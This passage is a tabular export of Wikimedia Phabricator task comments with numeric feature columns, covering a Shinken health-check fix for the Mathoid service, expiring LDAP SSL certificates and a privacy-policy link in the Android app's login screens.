```",,,1435265214,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2941176470588234,0.8235294117647058,"Sorry I have missed krenair comment. That works indeed:
``CODE``"
481980,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"@Krenair is right, the check needs to be changed to `GET /_info`, that happened with Mathoid's adoption of the #service-template-node",,,1435264405,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.074074074074074,0.8518518518518519,"SCREEN_NAME is right, the check needs to be changed to CODE, that happened with Mathoid's adoption of the #service-template-node"
481954,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"Seems Mathoid changed recently and no more honors `GET /` and now requires a POST and the `q` parameter.  That breaks the Shinken probe on beta.   Prod not impacted yet since I guess Mathoid hasn't been updated yet.

https://gerrit.wikimedia.org/r/220954 migrates to use a POST request :-}
",,,1435263097,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,13.0,6.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,23.0,2.0,6.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,4.113207547169812,0.8113207547169812,"Seems Mathoid changed recently and no more honors CODE and now requires a POST and the CODE parameter.  That breaks the Shinken probe on beta.   Prod not impacted yet since I guess Mathoid hasn't been updated yet.

GERRIT_URL migrates to use a POST request :-}
"
481952,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"Change 220954 had a related patch set uploaded (by Hashar):
Fix Shinken Mathoid probe

[[https://gerrit.wikimedia.org/r/220954]]
",,,1435262793,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.75,0.875,"Change 220954 had a related patch set uploaded (by Hashar):
Fix Shinken Mathoid probe

[[GERRIT_URL]]
"
481946,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,Huh. Not sure how I missed that service definition in shinken.cfg. Can we make it GET /_info like prod?,,,1435262563,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,14.0,9.0,5.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,3.8636363636363638,0.9545454545454546,Huh. Not sure how I missed that service definition in shinken.cfg. Can we make it GET /_info like prod?
481939,Shinken is showing HTTP 404 warnings for deployment-mathoid/sca02 mathoid services,"In operations/puppet.git `modules/beta/files/shinken.cfg` define the check as:
```
define service {
    service_description         Mathoid
    hostgroup_name              role::mathoid
    use                         generic-service
    check_command               check_http_on_port!10042
}   
```

In `modules/nagios_common/files/checkcommands.cfg` the command is defined as:
```
$USER1$/check_http -H $HOSTADDRESS$ -p $ARG1$
```

check_http does a simple ""GET /"" but Mathoid only handles POST with a q parameter (from README file). Hence on deployment-mathoid:
```
$ curl --verbose http://localhost:10042/
> GET / HTTP/1.1
< HTTP/1.1 404 Not Found
```

But passing some data:
```
$ curl --verbose --data 'q=a+b' http://localhost:10042/
> POST / HTTP/1.1
< HTTP/1.1 200 OK
{""mml"":""<math....
$
```

So we would need a new check command that does a POST such as:
```
define command {
    command_name    check_mathoid
    command_line    $USER1/check_http --post=""q=a+b"" -H $HOSTADDRESS$ -p $ARG1$
```

And done.

",,,1435262467,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xwcetgi75tewz6khspuf,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.703703703703703,0.7407407407407407,"In operations/puppet.git CODE define the check as:
``CODE`CODEmodules/nagios_common/files/checkcommands.cfgCODE`CODE`CODE`CODE`CODE`CODE`CODE`CODE``

And done.

"
103590,SSL certificates on LDAP servers expiring 2015-09-20,"hosts: nembus, neptunium
services: ldap-codfw, ldap-eqiad

SSL CRITICAL - Certificate ldap-codfw.wikimedia.org valid until 2015-09-20 19:36:03 +0000 (expires in 88 days) 
SSL CRITICAL - Certificate ldap-eqiad.wikimedia.org valid until 2015-09-20 19:41:02 +0000 (expires in 88 days) 

https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=nembus&service=Certificate+expiration

https://icinga.wikimedia.org/cgi-bin/icinga/extinfo.cgi?type=2&host=neptunium&service=Certificate+expiration

refs: T84751 , rOPUP4d22373aa41d4ceb9535a495dc167e5e55124cb8, rOPUP0ec73b9075e29b5b9b92abe31a576c23dbd556c0",Medium,50.0,1435090296,1449172123.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-tje3gpvtdlw2iysl5e6c,task_description,resolved,True,c3,2,True,True,False,-2,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2898550724637685,0.5217391304347826,"hosts: nembus, neptunium
services: ldap-codfw, ldap-eqiad

SSL CRITICAL - Certificate ldap-codfw.wikimedia.org valid until 2015-09-20 19:36:03 +0000 (expires in 88 days) 
SSL CRITICAL - Certificate ldap-eqiad.wikimedia.org valid until 2015-09-20 19:41:02 +0000 (expires in 88 days) 

URL

URL

refs: T84751 , rOPUP4d22373aa41d4ceb9535a495dc167e5e55124cb8, rOPUP0ec73b9075e29b5b9b92abe31a576c23dbd556c0"
572499,SSL certificates on LDAP servers expiring 2015-09-20,the linked RT ticket is closed as Robh pointed out and certs are valid until 2016-10-20 ,,,1449172123,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tje3gpvtdlw2iysl5e6c,task_subcomment,,True,c3,3,True,,,22,True,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.95,the linked RT ticket is closed as Robh pointed out and certs are valid until 2016-10-20 
512548,SSL certificates on LDAP servers expiring 2015-09-20,https://rt.wikimedia.org/Ticket/Display.html?id=9504,,,1440186753,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tje3gpvtdlw2iysl5e6c,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
512545,SSL certificates on LDAP servers expiring 2015-09-20,"12:38 < icinga-wm> PROBLEM - Certificate expiration on nembus is CRITICAL: SSL CRITICAL - Certificate ldap-codfw.wikimedia.org valid until 2015-09-20 19:36:03 +0000 
                   (expires in 29 days)
12:43 < icinga-wm> PROBLEM - Certificate expiration on neptunium is CRITICAL: SSL CRITICAL - Certificate ldap-eqiad.wikimedia.org valid until 2015-09-20 19:41:02 +0000 
                   (expires in 29 days)
",,,1440186203,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tje3gpvtdlw2iysl5e6c,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,8.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.95945945945946,0.47297297297297297,"12:38 < icinga-wm> PROBLEM - Certificate expiration on nembus is CRITICAL: SSL CRITICAL - Certificate ldap-codfw.wikimedia.org valid until 2015-09-20 19:36:03 +0000 
                   (expires in 29 days)
12:43 < icinga-wm> PROBLEM - Certificate expiration on neptunium is CRITICAL: SSL CRITICAL - Certificate ldap-eqiad.wikimedia.org valid until 2015-09-20 19:41:02 +0000 
                   (expires in 29 days)
"
511377,SSL certificates on LDAP servers expiring 2015-09-20,raising up to normal since the date is getting closer,,,1440034588,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tje3gpvtdlw2iysl5e6c,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,4.4,1.0,raising up to normal since the date is getting closer
480287,SSL certificates on LDAP servers expiring 2015-09-20,"priority low for now, should raise when date gets closer, but it's a monitoring critical now due to thresholds",,,1435090388,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tje3gpvtdlw2iysl5e6c,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,4.181818181818182,0.9090909090909091,"priority low for now, should raise when date gets closer, but it's a monitoring critical now due to thresholds"
103201,Add a link to the Privacy Policy from the Login and Create Account screens.,"This is to increase the likelihood of the user reading the privacy policy. App stores generally already link to the privacy policy, but this is giving the user another chance before entering their credentials into the Login or Create Account fields.",Medium,50.0,1434757479,1437480021.0,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-TASK-pl5e4g7l6amwdvev4twm,task_description,resolved,True,c3,2,True,False,True,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,11.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,11.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.75,0.75,"This is to increase the likelihood of the user reading the privacy policy. App stores generally already link to the privacy policy, but this is giving the user another chance before entering their credentials into the Login or Create Account fields."
487566,Add a link to the Privacy Policy from the Login and Create Account screens.,Signed off by Design,,,1436224473,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Signed off by Design
487565,Add a link to the Privacy Policy from the Login and Create Account screens.,"Examined on Nexus 4, Android 5.1.1",,,1436224465,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,"Examined on Nexus 4, Android 5.1.1"
487561,Add a link to the Privacy Policy from the Login and Create Account screens.,,,,1436224048,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
487559,Add a link to the Privacy Policy from the Login and Create Account screens.,,,,1436224037,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
487558,Add a link to the Privacy Policy from the Login and Create Account screens.,Kindly add screenshots for mobile device.,,,1436224017,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.142857142857143,1.0,Kindly add screenshots for mobile device.
482048,Add a link to the Privacy Policy from the Login and Create Account screens.,"Checked with 2.0.103-alpha-2015-06-25 on Samsung Tablet Ce0168(Android 4.0.4
{F183594}",,,1435268044,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,11.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.388888888888889,0.8888888888888888,"Checked with 2.0.103-alpha-2015-06-25 on Samsung Tablet Ce0168(Android 4.0.4
{F183594}"
480414,Add a link to the Privacy Policy from the Login and Create Account screens.,"Change 220133 merged by jenkins-bot:
Add link to privacy policy in Login and Create Account screens.

[[https://gerrit.wikimedia.org/r/220133]]",,,1435099853,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.7777777777777777,0.9259259259259259,"Change 220133 merged by jenkins-bot:
Add link to privacy policy in Login and Create Account screens.

[[GERRIT_URL]]"
479926,Add a link to the Privacy Policy from the Login and Create Account screens.,"Change 220133 had a related patch set uploaded (by Dbrant):
Add link to privacy policy in Login and Create Account screens.

[[https://gerrit.wikimedia.org/r/220133]]
",,,1435067497,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.78125,0.90625,"Change 220133 had a related patch set uploaded (by Dbrant):
Add link to privacy policy in Login and Create Account screens.

[[GERRIT_URL]]
"
478807,Add a link to the Privacy Policy from the Login and Create Account screens.,"Looping in Vibha… I'd like her to have input on placing new buttons / links within the app before we go too far.

Like Android, killing the splash screen on launch is something we want to do on iOS as well. Slowing down the user before they can use the app is a pretty big UX anti-pattern. 

However, I think we can add a link to the Privacy Policy to the login/sign up screen as @dbrant suggests, so when user does try to create an account or log in. That is a pretty standard place to put a privacy policy and don't think would be too much of an issue. 

",,,1434917377,,PHID-USER-zuzwi67gyuz7wfxvuerx,False,,,PHID-TASK-pl5e4g7l6amwdvev4twm,task_subcomment,,True,c3,2,False,,,-2,True,1.0,0.5,0.0,0.0,1.0,2.5,2.0,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,3.0,0.0,7.5,11.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,1.5,0.0,7.0,1.5,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.5,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,1.0,0.0,0.0,0.0,8.0,2.5,7.5,1.0,1.5,9.0,0.0,0.0,0.0,0.0,7.5,0.0,1.0,0.0,4.0,11.0,3.5,0.0,0.0,0.0,4.0,0.0,1.0,4.5,0.5,2.0,0.0,0.0,0.0,3.5592757936507935,0.8188244047619048,"Looping in Vibha… I'd like her to have input on placing new buttons / links within the app before we go too far.

Like Android, killing the splash screen on launch is something we want to do on iOS as well. Slowing down the user before they can use the app is a pretty big UX anti-pattern. 

However, I think we can add a link to the Privacy Policy to the login/sign up screen asSCREEN_NAME suggests, so when user does try to create an account or log in. That is a pretty standard place to put a privacy policy and don't think would be too much of an issue. 

"
478424,Add a link to the Privacy Policy from the Login and Create Account screens.,"@dr0ptp4kt, On the Android side, we were planning on no longer displaying the splash screen (T102482), since we're not currently focusing on driving contributions and editors in the app. Would it be acceptable to display a link to the privacy policy on the Login and Create Account 